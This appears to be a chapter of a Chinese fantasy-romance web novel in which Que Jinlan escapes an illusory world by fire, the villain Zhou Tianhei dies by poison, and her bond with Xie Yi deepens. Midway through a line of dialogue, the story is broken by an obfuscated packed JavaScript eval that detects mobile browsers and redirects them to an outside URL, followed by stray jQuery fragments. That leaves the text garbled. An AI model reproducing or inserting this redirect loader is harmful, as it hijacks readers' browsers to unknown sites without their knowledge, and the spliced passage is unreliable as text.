31.黑心
作品:《暴躁小鸟在线除妖》 “你怎么不自己...”
周远黑虽然初识阙烬兰,但见识过她能捏碎骨头的威力,此时对上她略显不耐的眼神,还是灰溜溜地跑去某个房间找了个电视遥控器给她。
拿好遥控器之后,阙烬兰因为被吊在天花板上酸痛的肌肉也恢复过来了,再次回到十八楼,站在楼梯间,她毫不犹豫地对着那满是雪花屏的世界按下电源键。
嘈杂的电流声随着密密麻麻的雪花点一齐消失,阙烬兰踏进一片虚无的黑暗。
当她完全被这一片黑笼罩时,楼梯大门兀自关闭,发出一声“哐当”,把周远黑给关在了外面。
阙烬兰摸着黑往前走,似乎踩到了还未完全干涸的血迹,血液堆积成洼,抬起脚时黏黏糊糊,再迈下去又响起混着水渍的声音。
随着阙烬兰愈发往深处走,很快就听不到这些声音了,因为谢邑的血逐渐干燥。
不知道走了多久,阙烬兰仍旧什么都看不到。
满眼的黑。
蔓延开来的黑。
黑...
黑!
黑影代表着人的阴暗面,每个人几乎都有阴暗面,这个坏心眼儿糟透了的周天黑,怎么会没有阴暗面呢?
“周天黑,真想把你的心挖出来,看看里面是不是黑的。”
阙烬兰一语双关。
她恢复好了自己的原身,身上自然有每次出勤时带的应急包。
妖管局的应急包有必备的压缩饼干、药品和各种处理可能性危机的小物,比如说——火柴。
阙烬兰脑海中浮现出谢邑苍白的面庞,轻轻叹了声气,谢邑你流的血倒是派上用场了。
血液不能燃烧,可是干燥后的血液中的有机物是支持燃烧的。
周天黑,那就把你的心烧穿,看看冒出来的是不是黑烟吧。
烈火顺着干涸的血液在脚底蔓延开来,惨叫声从四面八方传来,将她笼罩其中。
阙烬兰站在火焰之中,火光在她明艳的面容上舞蹈,对比之下她清亮双眸里的冷酷愈发清晰。
谢邑,还好吗?
再等等,马上就好了。
阙烬兰被高温炙烤,可火舌顺着谢邑留下的血迹并没有触碰到她分毫,浓浓黑烟自脚下升起,这时候阙烬兰倒是知道捂起鼻子。
哎,炙烤鸭心,不是她爱吃的。
鸭心的确没吃着,跳楼机倒是玩上了。
在失常世界因三个恶念源头消失殆尽后而出现了裂口,这人为构建出来的世界就像破裂的镜子一般,自某一个缺口开始向外裂开。
脚下一空,阙烬兰陡然失重,刚闭上眼想尖叫,就被一双温热的手从腰侧抱起,她下意识环住那双手主人的脖颈,想象中的危险没有来临,她睁开一只眼看看周围是什么情况,就对上了谢邑那一双好看的眼睛。
阙烬兰觉得好像有两只蝴蝶飞到了自己的眼睛里,不然自己为什么这么想眨眼睛,直视不了眼前的男人呢?
她现在觉得温度好像比困在刚刚的那个火场里还要热。
不过谢邑还活着,这可真好。
“喂,到底还要抱多久?”
阙沏棠抱着手臂抬头看好像如胶似漆的一对男女,没什么好气儿。
当然她是对那个男人说的,一对上姐姐,又是星星眼:“姐姐,你太厉害了,又拯救了一次世界!”
这边儿气氛还算良好,另一边可就十分焦灼了。
周远黑压着趴在地上的周天黑,周近黑虽然不知道为什么哥哥突然转性,但也乐见其成在旁边助力。
这个落在周远黑眼里,更是为周天黑对周近黑行为不轨这个说法加码了。
阙烬兰被谢邑轻轻放下,缓过来气了开始打量周围。
他们不在什么鸭堡,而是处于密不透风、似乎是地下室的一个空间,估计就是周天黑研究失常世界的实验室,这里有各种她叫不上来名字的药剂和神秘仪器。
“沏棠,合同报告和账本带出来了吗?”
阙沏棠挺直了腰背,刚摆上得意洋洋的嘴脸随意翻开身边堆放的有小腿那么高的纸张,就陡然提高了音量:“怎么全白了!”
不过随后肩膀一沉,扯起嘴想要得意开口时就被一阵突兀发狂的笑声打断。
刚还装死的周天黑闻声笑得发颤:“我又不是傻子,怎么可能会在我亲手创造出来的失常世界里留下把柄?”
阙烬兰刚走过去想要暴力威胁一番,头顶天花板就猛然炸开一阵仓促的奔跑声,鞋底与楼板死命地撞击,仿佛要把脚下这片地给踏碎。
“着火了!”
各种男男女女的尖叫声混作一团,看来火势十分迅猛。
“先走。”
谢邑言简意赅,打开实验室的大门,火势还没有蔓延下来,周远黑在前面引路,他说这里是金玉会所的负二楼,有另外一条通向外面的大门,一行人坐着刷开权限的电梯,刚到外面,阙烬兰下意识拦在周天黑前面,只因这场火来得实在蹊跷。
果然,在他们刚被阳光洒在头上还没热乎起来,一颗子弹就堪堪擦过阙烬兰的耳朵,划破了耳廓外侧,鲜血直流,但她顾不上疼痛,就迅速扑倒周天黑,教他不至于暴露在外。
谢邑迅速找到枪击手的位置,用枪反击,可是显然凶手不止买通了一个枪击手,火力汹汹,而被阙烬兰卧倒的周天黑最后看了眼天空,咬下藏在嘴里的毒药,断了气儿。那毒药叫周天黑面目全非,很快溶成了一滩血水。
时间一到,那些枪击手们就熄了火,他们的存在好像只是为了给周天黑下最后通牒一般。
你是必须要死的,还不如吃颗没什么痛感的毒药。
名声响亮的金玉会所就此蒙尘,富甲一方的周家就此陨落。
而周不黑,到底是从此轻盈了。
周远黑看着会所烧成了黑炭,心下五味杂陈,但看了眼身旁的弟弟,却觉得没什么比他安稳更重要的了。
“弟弟,别怕,这没什么丢人的,我带你去做心理疏导。”
周近黑:?干嘛
阙烬兰眼睛一转,想要逃离,却被谢邑拉了过去,拿起碘伏给她还流着血的耳朵消毒包扎,冰凉的药液接触到伤口,让她没忍住瑟缩了一下肩膀,这落在谢邑眼里,要真把他给心疼坏。
男人面上仍旧垂眸嘴角下垂,只是微张的嘴轻轻的呼出气,为阙烬兰驱散了些疼。
“我都知道了,周天黑是个畜生,他怎么能对你做出那种事!死有余辜!”
周远黑愤愤不平。
周近黑挑眉懵懵:“哥哥,这是我第一次见到周天黑啊,他以为我是女生从来没有找过我啊?”
阙烬兰把头顺势埋在谢邑的怀里,想要借此躲避背后灼人的视线。
“阙烬兰你骗我!”
“拯救世界的事情,怎么能叫骗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487324|183302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呢!”
无能怒吼和强词夺理的两道声音同时落下,鸭族这一出也算是落下帷幕。周近黑和周远黑相伴回家,叫上退休的老爸和开会的老妈一起吃个团圆饭。
从此鸭族子女们倒也自由了,没了所谓的“铁饭碗”,虽然此处“铁”颇有些强人所难,却可以基于他们的内心生出各行各业,也算是一种百花齐放。
“谢邑,你怎么回去?”
阙烬兰看着一旁略显沉重的谢邑,想要抚平他那略微有些皱巴的眉头,却没想到她刚刚靠近一步,谢邑就往后退了一下。
“我...”
察觉到暗杀周天黑的人很有可能就是王如椿派下的,谢邑此时也不知那躲在暗处的人有没有走,看着面前的女人,他低下了头。
“不用管我。”
只是没想到阙烬兰偏偏是一个敌退我进,敌再退我扑倒之人,她快速拉过谢邑的手臂,叫他不能再动分毫:“你这副模样倒是新鲜,让我想想你为什么这样。”
她附耳,温热的气扫过男人的耳垂。
“股权分布里王如椿三个大字教你觉得这是一盘好大的棋,你想孤军奋战。”
她不怕谢邑说出什么“自作多情”,因为她知道谢邑其人,不会说出这些寒人心的话语,所以现在尾巴翘得老高,撞上一双错愕的眼睛也不躲了,甚至开始用眼睛描摹男人眼褶上的那颗小黑痣。
“你...”
谢邑没再推开,而是就着过于亲密的距离把头埋在她的颈窝。
“你不害怕吗?”
阙烬兰被他突如其来的靠近吓得尾巴一耷拉,当然了——她没有尾巴,所以只能通过细微的颤抖来缓解,话语却支棱了起来。
“该害怕的从来不是我。”
“谢邑,邪不压正,遇到这些事情,我们本来就不该害怕。”
谢邑的头还在阙烬兰的颈窝里,听到她坚定的话语深深吸了一口气。
更喜欢了。
喜欢过于浅显,爱这一字更为贴切。
“嗯...”
不知是一声心满意足的喟叹,还是对于她话语的肯定,总之谢邑和阙烬兰这次谁都没再松开。
“还要抱多久啊...”
阙沏棠这次声音小了很多,因为她看到了这一次是姐姐主动的,她小脸皱作一团:“我还有事要说呢。”
没曾想阙烬兰只是扭头垂眸看向她:“这样也能说。”
?阙沏棠小小的三观受到了大大的冲击。
“姐姐,其实——”
她用气声说道,“我用了你之前给我的速拍机把那些文件报告都拍下来了,但是刚刚被那个鸭王打断了。”
她这么一出倒是把谢邑和阙烬兰说得发愣,阙烬兰推开谢邑的头,蹲下身来抱着继承了自己聪慧衣钵的妹妹,摸了摸女孩聪明的小脑瓜。
“不愧是我的妹妹。”
虽然谢邑因为失去了温暖的怀抱整个人有些沉闷,但是回家路上的气氛总体还是其乐融融。
阙沏棠摸了摸自己空空如也的肚子,哀嚎:“好饿。”
阙烬兰同样把手放在小腹,拿起手机打算点外卖,只是刚刚点进去常吃的那家,手机就被谢邑抽走了。
“想吃什么和我说吧,我来做。”
谢邑你还是太全面了。
阙烬兰满意地瘫坐在车的后座和阙沏棠一起报着菜名。